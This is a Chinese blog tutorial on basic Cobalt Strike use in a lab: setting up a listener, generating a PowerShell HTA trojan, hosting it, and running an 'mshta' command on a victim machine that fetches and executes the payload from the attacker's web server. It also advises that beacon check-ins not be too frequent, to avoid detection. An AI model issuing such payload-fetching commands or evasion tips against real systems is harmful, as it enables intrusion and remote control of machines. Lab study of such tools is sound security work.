您当前的位置： 首页 > 

星球守护者

暂无认证

  • 3浏览

    0关注

    641博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Cobalt Strike第三篇简单使用

星球守护者 发布时间：2021-06-17 23:44:48 ，浏览量：3

在这里插入图片描述

文章目录
      • 0x01创建监听器
      • 0x02生成木马
      • 0x03开启web服务
      • 0x04 运行木马
      • 0x05返回CS即可看到
      • 0x06 执行命令
      • 0x07导出报告
      • 摘抄

0x01创建监听器

点击Cobalt Strike -> Listeners->Add，其中内置了九个Listener

在这里插入图片描述 在这里插入图片描述

0x02生成木马
  • 点击Attacks->Packages->HTML Application，
  • 选择对应的监听器，方法这里有三种(executable/VBA/powershell)
  • 选择powershell，
  • 点击Generate生成，
  • 选择生成的路径及文件名保存即可。 在这里插入图片描述 在这里插入图片描述
0x03开启web服务
  • 点击Attacks->Web Drive-by->Host File，
  • 选择刚刚生成的木马evil.hta，
  • 点击Launch生成下载链接
http://192.168.52.129:8080/download/file.ext

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

0x04 运行木马
  • 打开受害机cmd，
  • 运行mshta命令。
  • mshta.exe是微软Windows操作系统相关程序，用于执行.HTA文件。
mshta http://192.168.0.102:80/download/file.ext

在这里插入图片描述

0x05返回CS即可看到

在这里插入图片描述

0x06 执行命令
  • 选择interact，即可进行交互，由于受害机默认60秒进行一次回传，
  • 为了实验效果我们这里把时间设置成5，
  • 但实际中频率不宜过快，容易被发现。 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述
0x07导出报告

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

摘抄

我将于茫茫人海中访我唯一灵魂之伴侣，

得之我幸，不得我命。

或得则吾生，不或则吾灭。

– 徐志摩

关注
打赏
1662051426
查看更多评论

最近更新

热门博客

[ 申请 ]友情链接：

ClashX教程 绘画宝宝 配音宝宝
立即登录/注册

微信扫码登录

0.0407s